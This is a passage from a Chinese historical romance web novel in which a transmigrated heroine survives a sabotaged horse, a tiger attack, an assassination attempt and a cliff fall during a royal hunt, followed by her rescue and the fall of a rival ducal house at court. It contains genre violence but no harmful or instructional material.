沈知蕴待她醒来不免又开始了新一轮的叮嘱,郡主和念秦姑娘都不在,你便老实的看别人玩,你骑射功夫不好,别被误伤到了。 知微乖乖点头,捂着嘴打了个哈欠,起的这样早,这不天才亮啊。 沈知蕴揉了揉知微还未清醒的脑袋,好了,不准抱怨,谁叫你非要跟着来。 知微讨好的朝姐姐笑笑,接过花影递过来的茶盏,老老实实开始醒盹。 皇山离京中并不远,一个多时辰便到了。 其实就在皇宫的后面,但他们需要绕一大圈才能过去。 到了之后便是认领帐篷,各家不准多带下人,姐俩一人只带了一个丫鬟,还不能带到狩猎场里,里头会有专门的宫女跟着伺候,弓箭等一应器具也都是统一发放的,避免各家在会场动手脚。 皇帝讲话环节,知微老实的站在父亲身后当花瓶。 高氏的身体不好,沈鸿从未叫她参加过狩猎,今年亦是。 冷不丁的,知微感觉自己仿佛被什么东西给盯上了,她四处打量了半晌,并未发现异样。 她倒是同顾铭珏对上了视线,那人一直在看着自己,眉眼温和,嗯……像是在做什么白日梦。 她白了这人一眼将眼睛移开,也看到了下首的宋言澈,还跟上首的四皇子对视了一眼,她忙低下头,不再乱看了。 四皇子舔了舔唇角,眼睛里对知微充满了兴趣。 时刻注意着自家小妹的沈知蕴也看到了四皇子的眼神,她狠狠的瞪了安若瑾一眼,皇帝这几个儿子没一个好东西!心中更是坚定了不叫知微进内场的心。 安若瑾被未婚妻给瞪了还挺高兴呢,你看,我媳妇儿就只瞪我没瞪别人吧,说明她心里有我啊。 将贱这一字是表现的淋漓至尽。 言归正传,狩猎场分内场和外场,外场是一些小型动物,内场则是山里大些的动物了,更深的还有断崖横臂的,很危险。所以一般世家女子是在外场活动的。 于是待皇帝讲完话狩猎便开始,知微便同安乐手牵着手一起骑马走了。 沈知蕴则是同安若瑾一起,二人自是有事,不过未婚夫妻,打情骂俏而已,倒是没什么失礼的,旁人也没多注意。 知微骑射功夫并不好,她也没想着用暗器来猎野物,便百无聊赖的找了块空地,铺上了个毯子,在周围撒上了驱虫粉,一屁股坐了下来。 这些都是她进狩猎场时管宫女们要的,宫人一早备下的东西,只是除了知微,鲜少有人去要罢了。 知微一屁股坐下,解下腰间的荷捏了枚点心便开始吃,她决定先填饱肚子再说。 来了这种地方,安乐哪是能坐的住的,早就跑远了,非说要猎个什么兔子山鸡来烤不行。 今日来的贵女不多,所以知微便是躺下,也没的人多嘴说些什么。 顾铭珏见知微如此乖觉,心知应是得了沈大人的嘱咐,便收敛起心身,专心陪同陛下。 宋言澈则是紧随四皇子左右,今日这事,无论如何是都要成的。 一直到了午后,安乐才策着马回来了,马上挂了两只野鸡,离的很远便扔到了知微身前,野鸡扑闪着吓了知微一跳,安乐笑着同知微大声道,知微姐姐,快来,那边我看到了獐子和小鹿,咱们快去猎! 安乐身后还跟着两个差不多年纪的贵女,知微笑着点头,拍了拍手上起身上了马。 这一跑起来只觉得浑身舒爽,几人有说有笑的,还真就有不长眼的小动物闯入几人的视线,虽只那一瞬,安乐便驾的一声,策马追了上去。 知微笑着摇摇头,也不去追安乐,准备骑着马溜达溜达,她看到前方有一大片的枫树林,叶子已经染红了,远远看去甚为惊艳。 她策着马便往那去。 那边安乐几人也渐渐走远,她自是不担心什么的,都是从小就学了马术的,可比她这个半吊子要厉害。 却不想跟着她的宫女在她身后勾了勾唇角,见她骑的专注笑意更甚,看她的眼神也开始狠毒了起来。 这宫女手上不知何时多了枚粗长的银针,只见她出其不意,银针猛的刺向知微所骑的马屁股,马儿受了惊,狂奔而去。 知微反应不及,被发疯的马差点扔到地上,她死死的抓住了马背上的缰绳不叫自己掉下马去。 她的脑袋空白一片,根本想不出为什么宫女要害她。 妈的她又得罪谁了! 疯马跑的飞快,她来不及多想了,眼看到了深山,她看看前方不远的草地和里头不知情形的深山,心说完就完死就死吧,一闭眼一咬牙将身子滚向了草地,她滚了几圈才停下。 她选的时机刚好,周围只这一片草地,虽然内里免不了有荆棘,她身上被扎了几处,脸颊也略有划伤但是身上却是完全没有问题的,手脚都好,除了身上被摔倒有些疼,她试了试,并没有伤及内脏,又一下软了腿脚跪在了地上,仰天感叹了一声,感谢老天爷对穿越者的厚爱,她果真没什么大事。 咬着牙踉踉跄跄的又爬了起来,还得赶紧离开这里为妙,万一有什么大型动物,她这条小命就真的玩完了。 只是她才刚爬了起来,便听见一声响亮的虎啸,被吓得一屁股又坐回了地上,老天奶,刚说完老天爷对穿越者厚爱,紧接着便遇到老虎吗?! 知微忙不迭看向虎啸的方向,却见那头隐约传来了打斗之声。 声音渐渐清晰,更大的虎啸声也随之而来,她一眼便看到了今日还是一身月白衣裳的宋言澈,他身边护着的那位,不是四皇子又是谁。 几个侍卫拿着刀剑护着二人后退,那老虎猛的一下扑倒了前头的侍卫,另一名侍卫为救兄弟扑了上去,却被那老虎一脚踢翻,下一瞬张嘴便扑向了带头的侍卫,将其一整个胳膊都给咬了下来。 那人疼到大叫一声,没了胳膊的地方血次呼拉的十分瘆人! 宋言澈眼疾手快,趁着猛虎将嘴中的残肢甩出去的功夫一把将人给救了过去,接着便是更加激烈的打斗。 断了臂的侍卫脸色煞白差点疼晕过去,他却还是没有自己单独跑,他咬着牙,颤抖着身子用另一只完好的手臂举着剑做守卫状。 知微呼吸一滞,死死的捂住了嘴巴不叫自己尖叫出声,她颤抖的厉害,被生生的咬掉了胳膊!这得有多痛啊! 她站在草丛里,正在众人的侧后方的位置,无人发现她。 妈的!皇家的地方怎么还会有这么大的老虎! 大家是不是都要死这了?! 不行,沉住气,叫她好好想想好好想想! 她眼神闪了闪,想到上辈子书上看过的,老虎颈部是其身上相对薄弱的部位,是弱点! 好,好,有弱点就行。 她摩挲着手腕上的暗器,看着那为数不多护着四皇子的几个侍卫,试试!万一成功了,好几条人命呢! 只是那老虎是真的大,比她在电视里看到的要大的多,它好似有两米多高,膘肥体壮的异常凶猛。 真不知这东西到底是被怎么弄进来的,实在骇人! 饶是知微上辈子在动物园里见多识广,见到这么个庞然大物也是紧张到呼吸都发颤,她深吸口气,看着明显不敌猛虎的几人,最终抬起了手腕。 她的手臂不断抖动,她告诉自己沉住气沉住气,试一试试一试! 她不知道暗器能不能穿透虎皮,但是她想试上一试。 她偷偷往前走了一些距离,待她认为可以一击即中的时候,咬着牙,趁双方僵持的间隙,坚定信念摈住呼吸瞄准射出! 而这时候,同猛虎对峙的几人也都发现了她。 几人惊愕,宋言澈的一颗心更是差点蹦出来。 却见知微找准了角度抬起衣袖猛的朝虎颈射了暗器。 暗器还是顾铭珏给她的,里头的银针都被她摸了麻药,可是她不知道这麻药对着两人高的老虎有没有用。 但她还是射出去了,为了几条性命。总得试一试的不是吗?不能叫大家白白送死啊! 众人紧张到不行,紧紧盯着猛虎,被暗器袭中,猛虎也只是感觉到脖颈有些不适,只稍微晃了晃脖颈,停顿了一下。 一个不行,架不住知微射出来的银针多。 接连的不知道射了多少,猛虎终于像是被定住了般片刻没有动,知微大声喊道,打它后颈,那里是它的弱点! 一个护卫反应过来,猛的蹿上猛虎后颈,眼睛瞪的浑圆拼劲全力一剑刺了下去,老虎吃痛,想要将人给摔下去,却动弹不得,众人上来一剑又一剑,好半晌才将猛虎给解决了。 知微悬着的心终于放下了,身上也没了力气,一下瘫到了地上。 宋言澈立马跑过去将她一顿打量,渐渐红了眼,她身上的衣裙脏污,脸上还挂了彩,但总归无事,他叫自己镇定下来,将知微给搀扶起来,小声道走吧,咱们回去。 知微抽了抽鼻子,模样带着害怕和委屈,她嗯了一声,被他老实的扶着走。 终于安全了,几个侍卫都在休息。见了知微,俱是踉跄的爬起来躬身致谢。 知微摇摇头,叫他们不必放在心上。 四皇子却看着知微,眼中多了许多赞赏,直接开口言明,要向他父皇替她讨赏。 知微看到胳膊没了的侍卫,从腰间的小瓶里迅速取了枚药丸塞进了那人嘴里,只说了句保命的药便转过身子,她朝着四皇子微微施礼,道,“不必了,殿下,还得抓紧查清此事的缘由比较好。” 可是,众人却不知危险已经再次来临。 只听一声箭鸣,一只利箭朝他们的方向袭来,安若明只觉一阵肉痛,利箭却飞过了他的肩膀朝知微飞去! 周围响起了几声叫她快闪开的声音,因着刚才受到了巨大的惊吓,此时的知微却被定住了似的,瞪大了眼睛动弹不得。 宋言澈飞扑过去将人挡住,却在众人以为这利箭定会穿透二人的时候另一只利箭袭来,将那只箭打飞出去。 知微被吓得身上都汗湿了,她浑身僵硬着,没感受到身上有痛感,她睁开了眼睛,看到了的是护住自己的宋言澈,以及地上被打飞了的箭。 她狠狠的松了口气,她并不知自己刚才是怎么了,似是被惊吓住了,脚步无力挪动不了半分,只能眼睁睁的看着利箭飞过来,还好没射中,他们都无事。 心里一阵悸动,仿佛有东西挣脱了束缚,她猛的转头看向来人,果然看到了顾铭珏一脸杀气的走来。 她不自觉的从宋言澈怀里挣脱出来,抿着嘴看着他,眼眶登时便红了,脚步也在向他靠近,她没有看到宋言澈一脸受伤的表情。 她的这颗急剧跳动的心脏在看到顾铭珏时忽的安稳了一些,她竟想扑到他怀里大哭一场,可吓死她了! 她走进他刚要张嘴说些什么,却见周围又忽然冒出了几个黑衣人,手里拿着刀剑便朝三皇子袭来。 顾铭珏一把扯过知微护在身后,看到不远处的马叫知微赶紧上马走! 这时又两个侍卫来到,瞬间加入了战斗。 知微听话的转身就跑,她战斗力太弱,留下只能是累赘! 她咬着牙踉跄的跑着,腿还有些软,但为了活命,为了不成为众人的拖累,她只能跑。 顾铭珏一直在她身边,将杀手都挡在她几米之外。 知微跑的飞快,却在看到断臂侍卫的时候停下了脚步,他拿着剑,似乎要加入打杀的队伍,知微着急道,不行,你身上的伤太重了!你会送命的!不要去!走!跟我走! 她也不管侍卫同不同意,硬拉扯这人就走。 也就在这个间隙,顾铭珏为了给知微时间救人有些分了神,前后夹击时被人划伤了小腹,他见知微扯着人已经快到了马旁,顾不得伤口专心打杀起来。 他看到侍卫发出的信号便奔来了,后面的侍卫马上便到! 而另一边,一名侍卫护着四皇子安若明,也已到了马旁。 只是从四面八方又落下几名刺客,知微和断臂侍卫也被包裹其中,她慌乱的扶着人就要换了方向跑,可惜已经晚了。 她被黑衣人抓住了。 一同被抓住的还有四皇子! 断臂侍卫被黑衣人一脚踢飞,他们目的明确,抓了二人便走。 知微不明白,抓四皇子是为了给郑馨儿报仇,抓她是作甚?! 黑衣人在一直后退,眼看侍卫来的多了竟开始了讨价还价。 为首的黑衣人冷笑,“顾铭珏!四皇子我们势在必得,你若再前进一步,这个小娘们就必死无疑了!” 知微被人拿刀挟持着,身旁还有同样被刀架在脖子上的四皇子。 侍卫越来越多,黑子刺客不断被打杀,仅剩的刺客带着二人不断后退,眼看来到一处悬崖上退无可退了,黑衣人才停下了脚步。 双方对峙着,刺客叹了条件,见顾铭珏不说话,还在步步紧逼着,刀架在安若明和知微身上的力道都重了几分,知微的脖颈隐隐有血渗了出来。 安若明和知微二人挣扎的同时也在做眼神交流,他故意装做惊吓过度十分怕死的模样激动大叫起来,不要过来!都不要过来! 黑衣人冷笑,什么疯子,不过如此! 他似乎觉得自己拿捏住了四皇子,便朝着顾铭珏又叫嚣起来,“今日四皇子我必是要带走的,带不走的话,那便就地杀掉,怎么样顾铭珏!生气不生气!哈哈哈哈哈!不过啊,顾侯爷眼光实在不错,这小娘们实在俊俏。” 他趴在她脖颈间闻了一口,啧啧道,“好香啊!” 手指下意识就要去摸知微的脸。 这刺客还在叫嚣着,却没有看到知微趁着被他调戏的空档同顾铭珏摇了摇手腕,顾铭珏脸色铁青,微不可见的点头,秒懂她的意思。 知微脖子被刀架着,手却是能动的,她又朝安若明递了个眼神,他虽疯批,但还是带着脑子的,点头表示明白。 知微又看了眼顾铭珏,有暗器的那手动了动,下一瞬,知微的手腕轻轻转动,射向了挟持四皇子黑衣人的腿。 那黑子似是恍惚了一瞬,身上突然没了力气,轰然倒地。 顾铭珏飞冲过来一瞬间便将四皇子救下。 挟持着知微的黑子怔了怔,眼看顾铭珏要杀过来,他冷笑一声,似是知道自己躲不过了,竟狠狠的将手中的知微向后一甩,同时知微手上的暗器也成功的射到了男人的脚面,男人不多时也倒在了地上。 只是在最后一瞬男子还是用尽力气将知微给甩了出去,一瞬间知微便掉落悬崖。 顾铭珏反应不及飞身猛的扑向知微,想抓她的手没有抓到,也跟着掉下崖去! 四皇子一脚踢翻了被侍卫按住的黑子头目,扯下了这人的面罩,果然!果然是郑国公的人! 宋言澈呆愣愣的站在崖前,似乎下一瞬就要跳下崖去。 安若明眼疾手快一把扯住了他,“顾侯已经下去了,此时并不是你沉迷情爱的时候!该收网了!” 宋言澈闭了闭眼,满身的戾气快要爆炸,再睁眼他道了声是,吩咐众人分成两波,一波想办法下崖救人,一波带着刺客请陛下决断! 110-113 第111章 知微又掉崖了。好消息是,她没死,又卡树上了。坏消息 知微又掉崖了。 好消息是,她没死,又卡树上了。 坏消息是,她受伤了,还有点严重。 肩头那处应是被树枝给穿了个透,钻心的疼痛叫她浑身战栗,她在那一瞬间连哭的力气都没有了。 谁让自己逞能,非跟出来干嘛呀,呲,她丝毫动弹不得,轻轻喘着气,感觉自己快要死了。 她怎么就这么倒霉,树枝断了,身子正好卡在断口处,还被刺穿了,幸好没摔进胸口,要不然,她这会儿估计已经死翘翘了。 要是被疼晕过去还好,大不了失血过多死了,十八年后又是一条好汉。 可现在的问题是,她很清醒。 她能感受到身上的血液和精气在一点点的向外消散,她尽量叫转移注意力,闭着眼睛,倾听耳旁的风吹动树叶的声音,不去想身上的伤到底有多重。 只听一阵声响,她感觉自己所在的歪脖子树沉了沉,便见顾铭珏一脸紧张的望着自己,待看到自己肩头被刺穿出来的树枝时,一张脸迅速白了下来,眼睛登时便红了,他紧张的叫了知微几声,知微应了,只是她的声音发颤,她想大声一些,她想告诉顾铭珏自己好疼,但是她没有力气。 这回是真坏了,怎么又跟着下来了啊,不要命了吗……看到他,知微心里感动的不像话,又欠了他一次…… 顾铭珏深吸口气,一双眼睛红的可怕,他硬逼着自己平静下来,从怀里取出匕首,一只手将她轻轻抱住,一只手迅速将穿透她剪头的树枝斩断。 虽说他的动作很快,但是知微分明能感受到他的手紧张到发颤。 他抱着知微,小声的哄着,别睡,知微,别睡,我这便带你离开。 知微点头,嗯了一声,顾铭珏搂着她半个身子,二人迅速向下跳去。 知微掉落的地方已经快到底了,他搂着她,二人艰难的走了一段距离,他脸色越来越苍白,不好,顾铭珏也受伤了,腰间一直在流血。 知微顿住了脚,不能再走了,他的伤口再不处理,怕是要死在自己前头。 无需她开口,顾铭珏也在寻找可休息的山洞,他得先帮着知微处理伤口。 那个树枝,是一定要拔出来的,血还在不断往外冒,知微的半边衣衫已经被血染透了。 那个树枝,比箭粗多了…… 顾铭珏很快找到了一处山洞,太阳已经落山了。 月亮已经升起,山洞里的温度很低,知微靠坐在石头上,一张脸面无血色,顾铭珏从未见过她如此没有生机的样子,一颗心揪的生疼。 他迅速点起火堆,一分一秒的都不想耽搁。 他温柔的将知微抱在怀里,小声道,“不知道咱们何时能出去,我需要将树枝拔出来,你,你。” 他说不出来叫知微忍一忍的这种话,看她衣服上的血,苍白的脸,他心疼到无以复加。 知微点了点头,嗯,拔。 她用另一只手从腰间摸出来个小瓶子,叫顾铭珏帮她取出来药丸。 有气无力道:“这是梅叔公配的止血药,只要还有一口气在,都能掉着,我死不了的,真的。” 说完就着篝火昏黄的光亮,她瞅着顾铭珏腰间的大片血迹,这人,闹呢,流了这么多血。 两颗小小的药丸躺在顾铭珏手心,知微捏了一颗放进了他的嘴里。 另一颗,放进了自己嘴里。 “这样,我们俩就都不会死了。” 顾铭珏将药丸咽下,心疼的望着她。 知微看着他,扯了扯嘴角,“那,你先把你的伤口处理一下,好不好。” 她的情绪在此时有些控制不住了,眼泪大颗大颗的掉落,“你自己都受伤了,干嘛又跳下来救我,惯会叫别人心疼。” 顾铭珏是看不得她哭的,听到她说心疼,鼻腔一酸一瞬间也差点掉下泪来,他张了张嘴,轻轻地将她面上的眼泪擦净,又吻了吻她的眼角,道了声好,我马上处理。 很快,他的伤口便处理好了。 一道很长的刀伤,从前头一直到后头,好在伤口并不深,只是看着有些瘆人,他身上有随身带的金疮药,很容易就包扎好了。 做完这一切,他从怀中拿出来个帕子,找了截大小合适的树枝,轻轻的叫知微咬住,轻声道,“拔的时候,你咬着树枝,不要松口,不要咬着舌头,好不好。” 知微点点头,笑着张嘴咬上了树枝。 这好像是自己用过的帕子,她离开时都留在侯府没带出来,他倒是贴身带着。 顾铭珏绕到知微身后,看着伤口,咬着牙一使劲便将树枝拔了出来。 成年男子拇指粗细的树枝,叫知微疼的咬紧了牙关,浑身战栗,因为疼痛而不自觉的呜咽出声,太阳穴上青筋暴起,仿佛快要炸裂开了。 此时还没完,顾铭珏轻轻拨开了她肩上的衣服,撕下身上的干净里衣,一点点的帮她处理伤口。 幸好,幸好不是枯枝,他不能想象若是里头留下碎屑,知微该有多受罪。 他身上有带的金疮药,他能很明显的看到知微身上疼出来的汗水。 深呼吸,叫自己冷静下来,不能出错,快速的帮知微包扎了伤口,又转过身子小心的给她整理衣襟,顾铭珏的手哆哆嗦嗦的,好半晌才给她穿好。 二人都像是从水里刚出来一样,只是一个是疼出了一身汗,一个是紧张到出了一身汗。 梅神医的药很有用,知微的伤口并未再流血了。 顾铭珏的也是。 知微趴在顾铭珏怀里,二人稍作休息。她想到今日发生的事情,又是惊马又是老虎的,不自觉的委屈了起来。 她声音虽还是虚弱,但是却有了一丝生气,“今日那只老虎那么大,感觉一口就能把我吃掉了,又是箭又是杀手的,你们这是在搞什么啊。” 也不等他回答,她又想到顾铭珏又救她一次,抬眸小声控诉,她是有些激动的,但说是控诉却是有气无力的,在顾铭珏耳朵里跟撒娇一样,听的他心痒痒的暖暖的, “你干嘛非得跳下来,你也就这一条命,搞的我一直在欠你的,你叫我拿什么还你。” 顾铭珏轻轻拍着着她的后背,试图叫她平缓心情,他小心的将人抱紧,轻声安抚道:“是我不好,事先未叫人保护好你,不怕了,我在,我不要你还。” “我不逼着你嫁我,但你,别推开我了好不好,好不好……” 渐渐的,他的语气带上了卑微和祈求,知微鼻尖酸涩的厉害,心脏剧烈跳动了一瞬,有什么东西瞬间消散,很快便恢复了正常的心跳。 只是知微知道,这颗心,在这一刻终于完完全全只属于自己了。 她轻轻的嗯了一声,又回了句,“好……” 像是害怕失去她,他将人紧紧抱在怀里,心中有些后悔。 他不该冒这么大的风险,他差一点就失去了她! 不,两次!他两次都差点失去了她! 他闭上眼睛,叫自己不要再去想,他赌赢了不是吗,她这算是接受了他吧*,他眼中的执拗越来越深,心中的想法更加坚定,他爱她,所以,他没错! 半晌,知微像是睡了过去,嘴里呓语似的,念叨了句爸爸妈妈,奶奶,我好想你们,好想好想你们。 顾铭珏的眼神闪了闪,心中有些猜测,但还是坚定的将她抱在怀里,即使是真的又怎么样,我爱她,那便够了,不管她从何处来,只要她在,那便够了。 低头再看她时,她眼角还挂着泪,身子不自觉轻轻颤动。 顾铭珏端详她片刻,不甚放心,轻轻唤了她两声,又试了试她的鼻息,这才放下心来。 她昏睡过去了。 他将人紧紧抱在怀里,轻轻的吻上她的额头,珍惜这来之不易的独处时光。 虽然,二人都很狼狈。 但是,她不会再推开他了,他们终将在一起。 下属找来的速度很快,顾铭珏想要将知微抱起,可他自己也失血过多,差点载到地上。 初九看着这样的知微和主君,差点掉下泪来,为了叶姨娘,侯爷可真是豁出命去了。 初九赶紧接过知微抱起,众人赶去了最近的庄子。 沈知蕴早已差人将今日回京的梅神医给接来了,一众人在庄子上焦急的等待着。 梅神医给断臂的侍卫看完伤,对断臂伤患还是有些可惜的,时间有些长了,若是他早一些到,兴许断臂是能接回来的。 他又叹了口气,也不知道小知微如何了,那么高的悬崖,他看向聂斐然,大侄子的一张脸灰败的不像话,要不是他们过来的晚,估计也扑到悬崖底找人去了。 沈家人没一个能坐的住的,眼看夜色渐深,知微还是没能找回来吗!怎么办,怎么办! 沈鸿慌啊,他的女儿啊,好不容易找回来的女儿,叫他怎么办!妻子那里还不知道这件事情,叫他怎么跟妻子交代!他焦灼的走来走去,终于,一声找到了找到了,下人连滚带爬的跑来,大声呼喊着找到了。 一行人赶忙跑了出去,就见顾铭珏抱着浑身是血的知微缓步而来。 沈鸿呆愣了一瞬便掉下泪来,颤抖着双手将知微给接了过来,嘴里叫嚷着神医,神医,快快,快救救我女儿啊, 沈鸿老泪众横,看到知微的模样,比剜了他的心还疼! 梅神医小跑着过来,顾铭珏想开口却有些没站稳,黄成紧张的扶住了他,他摆摆手,直起身子道,“知微一侧被树枝穿透了,已经简单包扎,我二人都吃了您的药。” 梅神医简单查看后点点头,“将知微抱进去吧,重新包扎一下,看有没有遗留的碎屑就好,纸笔拿来,我写了方子赶紧去熬药。” 言罢他又看了看顾铭珏道,“你的失血量不比小知微的少,去隔壁躺着去,小东,去给他重新包扎。” 小东是神医新收的徒弟,闻言点头,梅神医却又道,“你身上还有别的伤吧,一会我去看看,你先休息。” 沈家人闻言看顾铭珏的目光都闪了闪,俱是带了感激的,这人,确实在拿自己的命去救人的。 宋言澈站在人群最后死死的攥紧了手指,顾铭珏走时还轻蔑的撇了他一眼,虽受了伤,他却跟打了胜仗的似的,高昂着头颅,步子有些散漫的从宋言澈身旁走过。 宋言澈眼眸低垂,好半晌才控制好情绪转身消失在夜色里。 待神医给知微重新包扎后,知微渐渐醒了过来。 被疼醒的。 她看着关心的望着自己的沈父兄长姐姐,挣扎着要起身,也顾不得身上的伤口了,紧张的望向四周寻找顾铭珏的身影,张嘴道,“爹爹,顾,顾铭珏他怎么样了?” 沈知蕴同沈鸿对视了一眼,莫非这就是梦里知微非要嫁给顾铭珏的原因,为了报恩? 沈知蕴叹了口气,怕是早就动心了,不愿意承认罢了。 沈知蕴将她按回床上躺好,柔声道,“他在隔壁,叔公刚刚去了,无事的。” 知微这才松了口气,点点头,这时候花影抹着眼泪端来了药,沈父接过,沈知蕴将她扶起,喂她吃药。 待一碗药喝净,她朝众人笑了笑才又沉沉睡去。 夜里是花影同沈知蕴轮流照顾着。 沈鸿一夜未睡,他收拾齐整便去上朝,势要将他郑国公府付出代价! 顾铭珏也去了,虽然有伤,但他等不及了!今日,他势必是要去给父亲和兄长讨个公道! 当顾铭珏拿出郑国公谋害老侯爷和世子的罪证的时候,皇帝脸上的表情冷凝了一瞬,才大发雷霆。 在那一瞬,皇帝竟然有些慌乱。 是的,慌乱。 因为那件事虽不是他授意,却是他放任的。 所以在多年以后,他对顾铭珏还是会有些愧疚,毕竟,是他放任杀了他爹,也是他一起长大的兄弟。 但是他没觉得自己有错,他是皇帝,他不会允许有人在民间的威望大过于他!谁也不行! 紧接着,郑国公庶长子大义灭亲,拿出了更多郑国公等人贪赃枉法通敌卖国的罪证,皇帝继续震怒。 可这还没完。 皇后身边的大宫女更是拿出了一份皇后在京中五品官以上官员府中安插的眼线名单,还有皇后多年谋害后妃和皇嗣的证据,一时间,朝中哗然一片,皇帝气急败坏。 无它。 因为,安插眼线是他同意皇后这么做的。但是谋害皇嗣!她好大的胆子! 于是当日的早朝,郑国公府除了一个庶长子戴罪立功,其余被皇帝屠了满门,牵连的一干人等,抄家的抄家,发配的发配,整整三日,京都的街道上都静悄悄的,只有官兵抓人的声音。 而在一日下了早朝,皇帝便吐血晕倒了。 太医查看后说像是中了毒。 无色无味的慢性毒药,轻易查不出来,而罪魁祸首,不是皇后是谁。 于是,皇后被一条白绫吊死之后皇帝躺在床上还不解气,挣扎着叫人给鞭了尸,尸体还给扔进了乱葬岗喂了狗。 皇帝中毒之后只坚持上了几日的朝便瘫痪在床了,一众太医束手无策,梅神医也进了宫,也是可惜,这药无色无味,也算发现及时,再晚些时日,皇帝必死无疑。 皇帝差点又被气了过去。 很快,皇三子被立了太子,是为监国。 皇三子性情大变,大殿之上的赫然是位心机深沉喜怒不形于色的太子殿下。 皇四子被封了明王,待新皇登基后便前往封地。 因为皇后的关系,皇六子被皇帝发配至了皇陵,无诏不得外出。 当然,朝堂上的事知微自是不知道的,如今,她在庄子上才刚刚醒来。 第112章 翌日知微醒的时候,日头已经很大了。花影看到她醒来,喜极而泣…… 翌日知微醒的时候,日头已经很大了。 花影看到她醒来,喜极而泣,忙上前问她渴不渴,要不要出恭。 待她又躺下,小丫鬟已经将神医给请来了。 熬了一夜的沈知蕴等人,也跟着一起进了屋。 神医道,“没什么问题,及时换药再多休息休息,吃点好的补补,很快就好了,咱们小知微啊,福大命大,福气都在后头呢。” 知微笑着点头,“谢谢叔公,知微好了便亲自酿酒给叔公喝。” 知微脖子上的伤口早已结了疤,便也不用包扎。 身上的淤青也挺多的,沈知蕴帮着给擦完药,没忍住又掉了泪。 不过今日的知微一张脸虽然还是面无血色,擦伤的地方也都上了药,瞧着比昨夜已经好很多了,更有生气了一些。 众人这才放下了心,收拾东西,准备回府。 高氏同翠儿他们还不知道此事,回府必然会哭个不停,此事怕是已经传出去了,不过不回府也是不行的,还得好好将养着才好。 今日沈知晖并未去上值。 他不用上朝,便托宋言澈帮忙告了假,留下看顾知微。 回府之后高氏看到自己活蹦乱跳的女儿面无血色的被大儿子给抱了回来,腿一软差点晕过去。 知微趴在兄长怀里,身体被披风裹住,她小声安抚着娘亲,道自己没事的。 高氏心疼的看着懂事的小女儿,沈知蕴叫兄长先送小妹回房,将人拉到一边,说起了事情经过。 又是一阵手忙脚乱,知微终于躺在了自己床上,翠儿脸上还挂着眼泪执拗的守着姐姐,这一次,说什么她也要一直待在姐姐身边,再也不离开了。 知微无法,说自己想喝糖水,叫她带人去熬。 并跟翠儿保证,以后去哪都会带着她。 高氏抹着眼泪过来,亲手喂知微吃了药,看着睡熟了她才走。 心里却还是对自己男人埋怨了起来,也不知是怎么当的爹,自己眼皮子底下女儿给能出了事! 可是又不免担心了起来,也不知朝堂上今日闹成了什么样,还有顾铭珏,人家又救了自己女儿一次,听知蕴说伤势也不轻,哎吆这,这叫她怎么偿还人家这份人情呢! 朝堂上闹了一晌午,京城翻了天。 整整三日,京都内外人人自危,抄家的砍头的,百姓连看热闹都没敢,主要这一次动静太大了,郑国公府牵连甚广,此次更是直接被连根拔起。 沈鸿只回家看了趟女儿,便又进了宫。 顾铭珏伤势未愈,却并未消停,带头抄家,最后是被红叶给揪回去休息的。 他们心知肚明,陈年旧案少不了陛下的推波助澜,如此顾铭珏才会答应了同安若瑾的合作,这个皇帝不行,那就换个来。 将顾铭珏给揪回去之后的红叶也去看了知微,这小丫头,可真是遭了罪了。 将养了几日,知微好了些之后,脑子里想的都是射向她的那一箭。 那个人应该抓住了吧,是郑国公的人?那箭明显是宫里发放的箭矢。 如果说刺客是郑国公派来给女儿报仇的,那,射箭那人,是郑国公世子?专门来杀她的? 她抿了抿嘴,看着床顶,是她大意了,她就应该直接将人杀掉的。 幸好顾铭珏那一箭及时,不然宋言澈怕是会中箭,这一人的救命之恩她都还不完,再来一个,可不要了她的命了。 又想到顾铭珏,知微深深的叹了口气。 她回府三日了,自是也听到了外头那么大的动静,她有些烦闷,扯过被子将头给捂住,哎吆,她当时在山洞是怎么说的来着,不推开他? 嗯……她可以反悔吗,好丢人啊。 呲,不小心碰到伤口处了,翠儿忙过来查看,知微摆摆手,表示无事,她就是想抽个疯。 说到那支箭,确实并不是冲四皇子过来的。 射箭的人是郑国公世子,他来了,却躲在人群后面没有露面,知微感觉到的恶毒目光便是他。 跟着知微的宫女是皇后安排的,很轻易的就害知微骑的马发了狂。 只是郑世子早就死了了,沈知蕴杀的。 就在知微和顾铭珏在山洞的那会子时间里,被沈知蕴一剑给刺穿了胸膛,沈知蕴还并不解气,在他张嘴的时候,连舌头也给切了,双手给砍了。 姐妹俩杀人的模样简直是如出一辙,不,沈知蕴更甚,她甚至一句话都没说,眉头都没有皱,全程表情都淡淡的。 最后,她抬眸问了句安若瑾,“可以扔去喂狗吗?” 安若瑾笑的狗腿,可以,怎么不可以呢,他可太喜欢媳妇儿这果断狠厉的模样了,跟他实在相配。 这几日沈知蕴也忙的很,经常不见人影,她并未将郑国公世子的事情告诉小妹,大仇已报,没必要了。 沈知晖也被委以重任,听翠儿说这两日并未归家。 沈爹更不用说,回来看了她一次后便又走了。 娘亲和几个表兄妹倒是经常来,尤其聂斐然,要不是怕耽误知微休息,他是恨不得一天来八趟。 娘亲一日有半日的功夫都陪着她,只是有时也会看着她欲言又止的,感叹一句也不知顾侯爷怎么样了,也没个知心人照顾着,听说前日还去抄家呢,被国安郡主给拦了下来,强硬的给送回了府。 高氏同知微娘俩一同半躺在床上,知微靠在她娘怀里,静静的听着。 高氏小心的绕过女儿的肩头,将人圈在怀里, “娘亲从前对他是真有意见,真生气,他将你带了回来就应该好好对你,他却屡次陷你于危难之境,我的孩子这么乖巧懂事,他们怎么能这样对我的孩子呢。可是后来啊,后来见了这人之后,又觉得这孩子吧,人品还算不错,对你……也算是一往情深了。” 高氏轻轻叹了口气,“两次,两次他都义无反顾的扑向了掉落悬崖的你,根本没有时间叫他去思考,他为了你连命都能不要,娘就觉得他或许真的不错。” 高氏话锋一转又笑道:“当然,宋言澈那孩子也不错。站在娘同你爹的角度,我们都是看中宋言澈的,尤其这孩子家世真的干净,人也不错,对你也是一片痴情,但是啊,感情的事,娘觉得还得看你自己,你心里想着谁,便是谁,只是,不管你选哪一个,娘都希望你能知道,娘和你爹,都会支持你的,娘希望娘的知微,能够随心随性而为,而不是,被亲人和世俗强逼着去做一些事情。” “娘啊,只希望我的女儿能过的幸福平安就好。” 知微鼻尖甚是酸涩,她将头埋进了娘亲的怀里,嗯了一声,她不知道,她不知道自己到底是怎样的心情,说不感动吗,怎么能不感动。 他们? 她给他的儿子女儿做继母?还有个难搞的老太太,啊,啊,不要啊。 脑袋里像是有一团浆糊,迷迷糊糊的,她又在娘亲的怀里睡了过去。 高氏静静的看着女儿的睡颜叹了口气,这孩子。 